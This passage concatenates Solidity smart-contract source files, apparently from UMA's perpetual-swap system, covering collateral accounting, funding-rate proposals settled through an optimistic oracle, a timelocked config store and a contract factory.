_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyCollateralizedPosition(address sponsor) internal view {
require(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0));
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0);
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global =
_getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
return numTokens.isLessThanOrEqual(0) ? FixedPoint.fromUnscaledUint(0) : collateral.div(numTokens);
}
function _getTokenAddress() internal view override returns (address) {
return address(tokenCurrency);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/SafeCast.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../../oracle/implementation/Constants.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../perpetual-multiparty/ConfigStoreInterface.sol";
import "./EmergencyShutdownable.sol";
import "./FeePayer.sol";
/**
* @title FundingRateApplier contract.
* @notice Provides funding rate payment functionality for the Perpetual contract.
*/
abstract contract FundingRateApplier is EmergencyShutdownable, FeePayer {
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for FixedPoint.Signed;
using SafeERC20 for IERC20;
using SafeMath for uint256;
/****************************************
* FUNDING RATE APPLIER DATA STRUCTURES *
****************************************/
struct FundingRate {
// Current funding rate value.
FixedPoint.Signed rate;
// Identifier to retrieve the funding rate.
bytes32 identifier;
// Tracks the cumulative funding payments that have been paid to the sponsors.
// The multiplier starts at 1, and is updated by computing cumulativeFundingRateMultiplier * (1 + effectivePayment).
// Put another way, the cumulativeFeeMultiplier is (1 + effectivePayment1) * (1 + effectivePayment2) ...
// For example:
// The cumulativeFundingRateMultiplier should start at 1.
// If a 1% funding payment is paid to sponsors, the multiplier should update to 1.01.
// If another 1% fee is charged, the multiplier should be 1.01^2 (1.0201).
FixedPoint.Unsigned cumulativeMultiplier;
// Most recent time that the funding rate was updated.
uint256 updateTime;
// Most recent time that the funding rate was applied and changed the cumulative multiplier.
uint256 applicationTime;
// The time for the active (if it exists) funding rate proposal. 0 otherwise.
uint256 proposalTime;
}
FundingRate public fundingRate;
// Remote config store managed an owner.
ConfigStoreInterface public configStore;
/****************************************
* EVENTS *
****************************************/
event FundingRateUpdated(int256 newFundingRate, uint256 indexed updateTime, uint256 reward);
/****************************************
* MODIFIERS *
****************************************/
// This is overridden to both pay fees (which is done by applyFundingRate()) and apply the funding rate.
modifier fees override {
// Note: the funding rate is applied on every fee-accruing transaction, where the total change is simply the
// rate applied linearly since the last update. This implies that the compounding rate depends on the frequency
// of update transactions that have this modifier, and it never reaches the ideal of continuous compounding.
// This approximate-compounding pattern is common in the Ethereum ecosystem because of the complexity of
// compounding data on-chain.
applyFundingRate();
_;
}
// Note: this modifier is intended to be used if the caller intends to _only_ pay regular fees.
modifier paysRegularFees {
payRegularFees();
_;
}
/**
* @notice Constructs the FundingRateApplier contract. Called by child contracts.
* @param _fundingRateIdentifier identifier that tracks the funding rate of this contract.
* @param _collateralAddress address of the collateral token.
* @param _finderAddress Finder used to discover financial-product-related contracts.
* @param _configStoreAddress address of the remote configuration store managed by an external owner.
* @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index).
* @param _timerAddress address of the timer contract in test envs, otherwise 0x0.
*/
constructor(
bytes32 _fundingRateIdentifier,
address _collateralAddress,
address _finderAddress,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) EmergencyShutdownable() {
uint256 currentTime = getCurrentTime();
fundingRate.updateTime = currentTime;
fundingRate.applicationTime = currentTime;
// Seed the cumulative multiplier with the token scaling, from which it will be scaled as funding rates are
// applied over time.
fundingRate.cumulativeMultiplier = _tokenScaling;
fundingRate.identifier = _fundingRateIdentifier;
configStore = ConfigStoreInterface(_configStoreAddress);
}
/**
* @notice This method takes 3 distinct actions:
* 1. Pays out regular fees.
* 2. If possible, resolves the outstanding funding rate proposal, pulling the result in and paying out the rewards.
* 3. Applies the prevailing funding rate over the most recent period.
*/
function applyFundingRate() public paysRegularFees() nonReentrant() {
_applyEffectiveFundingRate();
}
/**
* @notice Proposes a new funding rate. Proposer receives a reward if correct.
* @param rate funding rate being proposed.
* @param timestamp time at which the funding rate was computed.
*/
function proposeFundingRate(FixedPoint.Signed memory rate, uint256 timestamp)
external
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalBond)
{
require(fundingRate.proposalTime == 0, "Proposal in progress");
_validateFundingRate(rate);
// Timestamp must be after the last funding rate update time, within the last 30 minutes.
uint256 currentTime = getCurrentTime();
uint256 updateTime = fundingRate.updateTime;
require(
timestamp > updateTime && timestamp >= currentTime.sub(_getConfig().proposalTimePastLimit),
"Invalid proposal time"
);
// Set the proposal time in order to allow this contract to track this request.
fundingRate.proposalTime = timestamp;
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Set up optimistic oracle.
bytes32 identifier = fundingRate.identifier;
bytes memory ancillaryData = _getAncillaryData();
// Note: requestPrice will revert if `timestamp` is less than the current block timestamp.
optimisticOracle.requestPrice(identifier, timestamp, ancillaryData, collateralCurrency, 0);
totalBond = FixedPoint.Unsigned(
optimisticOracle.setBond(
identifier,
timestamp,
ancillaryData,
_pfc().mul(_getConfig().proposerBondPercentage).rawValue
)
);
// Pull bond from caller and send to optimistic oracle.
if (totalBond.isGreaterThan(0)) {
collateralCurrency.safeTransferFrom(msg.sender, address(this), totalBond.rawValue);
collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), totalBond.rawValue);
}
optimisticOracle.proposePriceFor(
msg.sender,
address(this),
identifier,
timestamp,
ancillaryData,
rate.rawValue
);
}
// Returns a token amount scaled by the current funding rate multiplier.
// Note: if the contract has paid fees since it was deployed, the raw value should be larger than the returned value.
function _getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt)
internal
view
returns (FixedPoint.Unsigned memory tokenDebt)
{
return rawTokenDebt.mul(fundingRate.cumulativeMultiplier);
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
function _getConfig() internal returns (ConfigStoreInterface.ConfigSettings memory) {
return configStore.updateAndGetCurrentConfig();
}
function _updateFundingRate() internal {
uint256 proposalTime = fundingRate.proposalTime;
// If there is no pending proposal then do nothing. Otherwise check to see if we can update the funding rate.
if (proposalTime != 0) {
// Attempt to update the funding rate.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
bytes32 identifier = fundingRate.identifier;
bytes memory ancillaryData = _getAncillaryData();
// Try to get the price from the optimistic oracle. This call will revert if the request has not resolved
// yet. If the request has not resolved yet, then we need to do additional checks to see if we should
// "forget" the pending proposal and allow new proposals to update the funding rate.
try optimisticOracle.settleAndGetPrice(identifier, proposalTime, ancillaryData) returns (int256 price) {
// If successful, determine if the funding rate state needs to be updated.
// If the request is more recent than the last update then we should update it.
uint256 lastUpdateTime = fundingRate.updateTime;
if (proposalTime >= lastUpdateTime) {
// Update funding rates
fundingRate.rate = FixedPoint.Signed(price);
fundingRate.updateTime = proposalTime;
// If there was no dispute, send a reward.
FixedPoint.Unsigned memory reward = FixedPoint.fromUnscaledUint(0);
OptimisticOracleInterface.Request memory request =
optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData);
if (request.disputer == address(0)) {
reward = _pfc().mul(_getConfig().rewardRatePerSecond).mul(proposalTime.sub(lastUpdateTime));
if (reward.isGreaterThan(0)) {
_adjustCumulativeFeeMultiplier(reward, _pfc());
collateralCurrency.safeTransfer(request.proposer, reward.rawValue);
}
}
// This event will only be emitted after the fundingRate struct's "updateTime" has been set
// to the latest proposal's proposalTime, indicating that the proposal has been published.
// So, it suffices to just emit fundingRate.updateTime here.
emit FundingRateUpdated(fundingRate.rate.rawValue, fundingRate.updateTime, reward.rawValue);
}
// Set proposal time to 0 since this proposal has now been resolved.
fundingRate.proposalTime = 0;
} catch {
// Stop tracking and allow other proposals to come in if:
// - The requester address is empty, indicating that the Oracle does not know about this funding rate
// request. This is possible if the Oracle is replaced while the price request is still pending.
// - The request has been disputed.
OptimisticOracleInterface.Request memory request =
optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData);
if (request.disputer != address(0) || request.proposer == address(0)) {
fundingRate.proposalTime = 0;
}
}
}
}
// Constraining the range of funding rates limits the PfC for any dishonest proposer and enhances the
// perpetual's security. For example, let's examine the case where the max and min funding rates
// are equivalent to +/- 500%/year. This 1000% funding rate range allows a 8.6% profit from corruption for a
// proposer who can deter honest proposers for 74 hours:
// 1000%/year / 360 days / 24 hours * 74 hours max attack time = ~ 8.6%.
// How would attack work? Imagine that the market is very volatile currently and that the "true" funding
// rate for the next 74 hours is -500%, but a dishonest proposer successfully proposes a rate of +500%
// (after a two hour liveness) and disputes honest proposers for the next 72 hours. This results in a funding
// rate error of 1000% for 74 hours, until the DVM can set the funding rate back to its correct value.
function _validateFundingRate(FixedPoint.Signed memory rate) internal {
require(
rate.isLessThanOrEqual(_getConfig().maxFundingRate) &&
rate.isGreaterThanOrEqual(_getConfig().minFundingRate)
);
}
// Fetches a funding rate from the Store, determines the period over which to compute an effective fee,
// and multiplies the current multiplier by the effective fee.
// A funding rate < 1 will reduce the multiplier, and a funding rate of > 1 will increase the multiplier.
// Note: 1 is set as the neutral rate because there are no negative numbers in FixedPoint, so we decide to treat
// values < 1 as "negative".
function _applyEffectiveFundingRate() internal {
// If contract is emergency shutdown, then the funding rate multiplier should no longer change.
if (emergencyShutdownTimestamp != 0) {
return;
}
uint256 currentTime = getCurrentTime();
uint256 paymentPeriod = currentTime.sub(fundingRate.applicationTime);
_updateFundingRate(); // Update the funding rate if there is a resolved proposal.
fundingRate.cumulativeMultiplier = _calculateEffectiveFundingRate(
paymentPeriod,
fundingRate.rate,
fundingRate.cumulativeMultiplier
);
fundingRate.applicationTime = currentTime;
}
function _calculateEffectiveFundingRate(
uint256 paymentPeriodSeconds,
FixedPoint.Signed memory fundingRatePerSecond,
FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier
) internal pure returns (FixedPoint.Unsigned memory newCumulativeFundingRateMultiplier) {
// Note: this method uses named return variables to save a little bytecode.
// The overall formula that this function is performing:
// newCumulativeFundingRateMultiplier =
// (1 + (fundingRatePerSecond * paymentPeriodSeconds)) * currentCumulativeFundingRateMultiplier.
FixedPoint.Signed memory ONE = FixedPoint.fromUnscaledInt(1);
// Multiply the per-second rate over the number of seconds that have elapsed to get the period rate.
FixedPoint.Signed memory periodRate = fundingRatePerSecond.mul(SafeCast.toInt256(paymentPeriodSeconds));
// Add one to create the multiplier to scale the existing fee multiplier.
FixedPoint.Signed memory signedPeriodMultiplier = ONE.add(periodRate);
// Max with 0 to ensure the multiplier isn't negative, then cast to an Unsigned.
FixedPoint.Unsigned memory unsignedPeriodMultiplier =
FixedPoint.fromSigned(FixedPoint.max(signedPeriodMultiplier, FixedPoint.fromUnscaledInt(0)));
// Multiply the existing cumulative funding rate multiplier by the computed period multiplier to get the new
// cumulative funding rate multiplier.
newCumulativeFundingRateMultiplier = currentCumulativeFundingRateMultiplier.mul(unsignedPeriodMultiplier);
}
function _getAncillaryData() internal view returns (bytes memory) {
// Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address
// whose funding rate it's trying to get.
return abi.encodePacked(_getTokenAddress());
}
function _getTokenAddress() internal view virtual returns (address);
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's uintXX casting operators with added overflow
* checks.
*
* Downcasting from uint256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} to extend it to smaller types, by performing
* all math on `uint256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
interface ConfigStoreInterface {
// All of the configuration settings available for querying by a perpetual.
struct ConfigSettings {
// Liveness period (in seconds) for an update to currentConfig to become official.
uint256 timelockLiveness;
// Reward rate paid to successful proposers. Percentage of 1 E.g., .1 is 10%.
FixedPoint.Unsigned rewardRatePerSecond;
// Bond % (of given contract's PfC) that must be staked by proposers. Percentage of 1, e.g. 0.0005 is 0.05%.
FixedPoint.Unsigned proposerBondPercentage;
// Maximum funding rate % per second that can be proposed.
FixedPoint.Signed maxFundingRate;
// Minimum funding rate % per second that can be proposed.
FixedPoint.Signed minFundingRate;
// Funding rate proposal timestamp cannot be more than this amount of seconds in the past from the latest
// update time.
uint256 proposalTimePastLimit;
}
function updateAndGetCurrentConfig() external returns (ConfigSettings memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title EmergencyShutdownable contract.
* @notice Any contract that inherits this contract will have an emergency shutdown timestamp state variable.
* This contract provides modifiers that can be used by children contracts to determine if the contract is
* in the shutdown state. The child contract is expected to implement the logic that happens
* once a shutdown occurs.
*/
abstract contract EmergencyShutdownable {
using SafeMath for uint256;
/****************************************
* EMERGENCY SHUTDOWN DATA STRUCTURES *
****************************************/
// Timestamp used in case of emergency shutdown. 0 if no shutdown has been triggered.
uint256 public emergencyShutdownTimestamp;
/****************************************
* MODIFIERS *
****************************************/
modifier notEmergencyShutdown() {
_notEmergencyShutdown();
_;
}
modifier isEmergencyShutdown() {
_isEmergencyShutdown();
_;
}
/****************************************
* EXTERNAL FUNCTIONS *
****************************************/
constructor() public {
emergencyShutdownTimestamp = 0;
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _notEmergencyShutdown() internal view {
// Note: removed require string to save bytecode.
require(emergencyShutdownTimestamp == 0);
}
function _isEmergencyShutdown() internal view {
// Note: removed require string to save bytecode.
require(emergencyShutdownTimestamp != 0);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../common/FundingRateApplier.sol";
import "../../common/implementation/FixedPoint.sol";
// Implements FundingRateApplier internal methods to enable unit testing.
contract FundingRateApplierTest is FundingRateApplier {
constructor(
bytes32 _fundingRateIdentifier,
address _collateralAddress,
address _finderAddress,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
)
public
FundingRateApplier(
_fundingRateIdentifier,
_collateralAddress,
_finderAddress,
_configStoreAddress,
_tokenScaling,
_timerAddress
)
{}
function calculateEffectiveFundingRate(
uint256 paymentPeriodSeconds,
FixedPoint.Signed memory fundingRatePerSecond,
FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier
) public pure returns (FixedPoint.Unsigned memory) {
return
_calculateEffectiveFundingRate(
paymentPeriodSeconds,
fundingRatePerSecond,
currentCumulativeFundingRateMultiplier
);
}
// Required overrides.
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory currentPfc) {
return FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this)));
}
function emergencyShutdown() external override {}
function remargin() external override {}
function _getTokenAddress() internal view override returns (address) {
return address(collateralCurrency);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ConfigStoreInterface.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @notice ConfigStore stores configuration settings for a perpetual contract and provides an interface for it
* to query settings such as reward rates, proposal bond sizes, etc. The configuration settings can be upgraded
* by a privileged account and the upgraded changes are timelocked.
*/
contract ConfigStore is ConfigStoreInterface, Testable, Lockable, Ownable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* STORE DATA STRUCTURES *
****************************************/
// Make currentConfig private to force user to call getCurrentConfig, which returns the pendingConfig
// if its liveness has expired.
ConfigStoreInterface.ConfigSettings private currentConfig;
// Beginning on `pendingPassedTimestamp`, the `pendingConfig` can be published as the current config.
ConfigStoreInterface.ConfigSettings public pendingConfig;
uint256 public pendingPassedTimestamp;
/****************************************
* EVENTS *
****************************************/
event ProposedNewConfigSettings(
address indexed proposer,
uint256 rewardRatePerSecond,
uint256 proposerBondPercentage,
uint256 timelockLiveness,
int256 maxFundingRate,
int256 minFundingRate,
uint256 proposalTimePastLimit,
uint256 proposalPassedTimestamp
);
event ChangedConfigSettings(
uint256 rewardRatePerSecond,
uint256 proposerBondPercentage,
uint256 timelockLiveness,
int256 maxFundingRate,
int256 minFundingRate,
uint256 proposalTimePastLimit
);
/****************************************
* MODIFIERS *
****************************************/
// Update config settings if possible.
modifier updateConfig() {
_updateConfig();
_;
}
/**
* @notice Construct the Config Store. An initial configuration is provided and set on construction.
* @param _initialConfig Configuration settings to initialize `currentConfig` with.
* @param _timerAddress Address of testable Timer contract.
*/
constructor(ConfigSettings memory _initialConfig, address _timerAddress) public Testable(_timerAddress) {
_validateConfig(_initialConfig);
currentConfig = _initialConfig;
}
/**
* @notice Returns current config or pending config if pending liveness has expired.
* @return ConfigSettings config settings that calling financial contract should view as "live".
*/
function updateAndGetCurrentConfig()
external
override
updateConfig()
nonReentrant()
returns (ConfigStoreInterface.ConfigSettings memory)
{
return currentConfig;
}
/**
* @notice Propose new configuration settings. New settings go into effect after a liveness period passes.
* @param newConfig Configuration settings to publish after `currentConfig.timelockLiveness` passes from now.
* @dev Callable only by owner. Calling this while there is already a pending proposal will overwrite the pending proposal.
*/
function proposeNewConfig(ConfigSettings memory newConfig) external onlyOwner() nonReentrant() updateConfig() {
_validateConfig(newConfig);
// Warning: This overwrites a pending proposal!
pendingConfig = newConfig;
// Use current config's liveness period to timelock this proposal.
pendingPassedTimestamp = getCurrentTime().add(currentConfig.timelockLiveness);
emit ProposedNewConfigSettings(
msg.sender,
newConfig.rewardRatePerSecond.rawValue,
newConfig.proposerBondPercentage.rawValue,
newConfig.timelockLiveness,
newConfig.maxFundingRate.rawValue,
newConfig.minFundingRate.rawValue,
newConfig.proposalTimePastLimit,
pendingPassedTimestamp
);
}
/**
* @notice Publish any pending configuration settings if there is a pending proposal that has passed liveness.
*/
function publishPendingConfig() external nonReentrant() updateConfig() {}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Check if pending proposal can overwrite the current config.
function _updateConfig() internal {
// If liveness has passed, publish proposed configuration settings.
if (_pendingProposalPassed()) {
currentConfig = pendingConfig;
_deletePendingConfig();
emit ChangedConfigSettings(
currentConfig.rewardRatePerSecond.rawValue,
currentConfig.proposerBondPercentage.rawValue,
currentConfig.timelockLiveness,
currentConfig.maxFundingRate.rawValue,
currentConfig.minFundingRate.rawValue,
currentConfig.proposalTimePastLimit
);
}
}
function _deletePendingConfig() internal {
delete pendingConfig;
pendingPassedTimestamp = 0;
}
function _pendingProposalPassed() internal view returns (bool) {
return (pendingPassedTimestamp != 0 && pendingPassedTimestamp <= getCurrentTime());
}
// Use this method to constrain values with which you can set ConfigSettings.
function _validateConfig(ConfigStoreInterface.ConfigSettings memory config) internal pure {
// We don't set limits on proposal timestamps because there are already natural limits:
// - Future: price requests to the OptimisticOracle must be in the past---we can't add further constraints.
// - Past: proposal times must always be after the last update time, and a reasonable past limit would be 30
// mins, meaning that no proposal timestamp can be more than 30 minutes behind the current time.
// Make sure timelockLiveness is not too long, otherwise contract might not be able to fix itself
// before a vulnerability drains its collateral.
require(config.timelockLiveness <= 7 days && config.timelockLiveness >= 1 days, "Invalid timelockLiveness");
// The reward rate should be modified as needed to incentivize honest proposers appropriately.
// Additionally, the rate should be less than 100% a year => 100% / 360 days / 24 hours / 60 mins / 60 secs
// = 0.0000033
FixedPoint.Unsigned memory maxRewardRatePerSecond = FixedPoint.fromUnscaledUint(33).div(1e7);
require(config.rewardRatePerSecond.isLessThan(maxRewardRatePerSecond), "Invalid rewardRatePerSecond");
// We don't set a limit on the proposer bond because it is a defense against dishonest proposers. If a proposer
// were to successfully propose a very high or low funding rate, then their PfC would be very high. The proposer
// could theoretically keep their "evil" funding rate alive indefinitely by continuously disputing honest
// proposers, so we would want to be able to set the proposal bond (equal to the dispute bond) higher than their
// PfC for each proposal liveness window. The downside of not limiting this is that the config store owner
// can set it arbitrarily high and preclude a new funding rate from ever coming in. We suggest setting the
// proposal bond based on the configuration's funding rate range like in this discussion:
// https://github.com/UMAprotocol/protocol/issues/2039#issuecomment-719734383
// We also don't set a limit on the funding rate max/min because we might need to allow very high magnitude
// funding rates in extraordinarily volatile market situations. Note, that even though we do not bound
// the max/min, we still recommend that the deployer of this contract set the funding rate max/min values
// to bound the PfC of a dishonest proposer. A reasonable range might be the equivalent of [+200%/year, -200%/year].
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/implementation/ContractCreator.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "../../common/implementation/Lockable.sol";
import "../common/TokenFactory.sol";
import "../common/SyntheticToken.sol";
import "./PerpetualLib.sol";
import "./ConfigStore.sol";
/**
* @title Perpetual Contract creator.
* @notice Factory contract to create and register new instances of perpetual contracts.
* Responsible for constraining the parameters used to construct a new perpetual. This creator contains a number of constraints
* that are applied to newly created contract. These constraints can evolve over time and are
* initially constrained to conservative values in this first iteration. Technically there is nothing in the
* Perpetual contract requiring these constraints. However, because `createPerpetual()` is intended
* to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract),
we can enforce deployment configurations here.
*/
contract PerpetualCreator is ContractCreator, Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* PERP CREATOR DATA STRUCTURES *
****************************************/
// Immutable params for perpetual contract.
struct Params {
address collateralAddress;
bytes32 priceFeedIdentifier;
bytes32 fundingRateIdentifier;
string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
FixedPoint.Unsigned minSponsorTokens;
FixedPoint.Unsigned tokenScaling;
uint256 withdrawalLiveness;
uint256 liquidationLiveness;
}
// Address of TokenFactory used to create a new synthetic token.
address public tokenFactoryAddress;
event CreatedPerpetual(address indexed perpetualAddress, address indexed deployerAddress);
event CreatedConfigStore(address indexed configStoreAddress, address indexed ownerAddress);
/**
* @notice Constructs the Perpetual contract.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances.
* @param _timerAddress Contract that stores the current time in a testing environment.
*/
constructor(
address _finderAddress,
address _tokenFactoryAddress,
address _timerAddress
) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() {
tokenFactoryAddress = _tokenFactoryAddress;
}
/**
* @notice Creates an instance of perpetual and registers it within the registry.
* @param params is a `ConstructorParams` object from Perpetual.
* @return address of the deployed contract.
*/
function createPerpetual(Params memory params, ConfigStore.ConfigSettings memory configSettings)
public
nonReentrant()
returns (address)
{
require(bytes(params.syntheticName).length != 0, "Missing synthetic name");
require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol");
// Create new config settings store for this contract and reset ownership to the deployer.
ConfigStore configStore = new ConfigStore(configSettings, timerAddress);
configStore.transferOwnership(msg.sender);
emit CreatedConfigStore(address(configStore), configStore.owner());
// Create a new synthetic token using the params.
TokenFactory tf = TokenFactory(tokenFactoryAddress);
// If the collateral token does not have a `decimals()` method,
// then a default precision of 18 will be applied to the newly created synthetic token.
uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress);
ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals);
address derivative = PerpetualLib.deploy(_convertParams(params, tokenCurrency, address(configStore)));
// Give permissions to new derivative contract and then hand over ownership.
tokenCurrency.addMinter(derivative);
tokenCurrency.addBurner(derivative);
tokenCurrency.resetOwner(derivative);
_registerContract(new address[](0), derivative);
emit CreatedPerpetual(derivative, msg.sender);
return derivative;
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
// Converts createPerpetual params to Perpetual constructor params.
function _convertParams(
Params memory params,
ExpandedIERC20 newTokenCurrency,
address configStore
) private view returns (Perpetual.ConstructorParams memory constructorParams) {
// Known from creator deployment.
constructorParams.finderAddress = finderAddress;
constructorParams.timerAddress = timerAddress;
// Enforce configuration constraints.
require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0");
require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0");
_requireWhitelistedCollateral(params.collateralAddress);
// We don't want perpetual deployers to be able to intentionally or unintentionally set
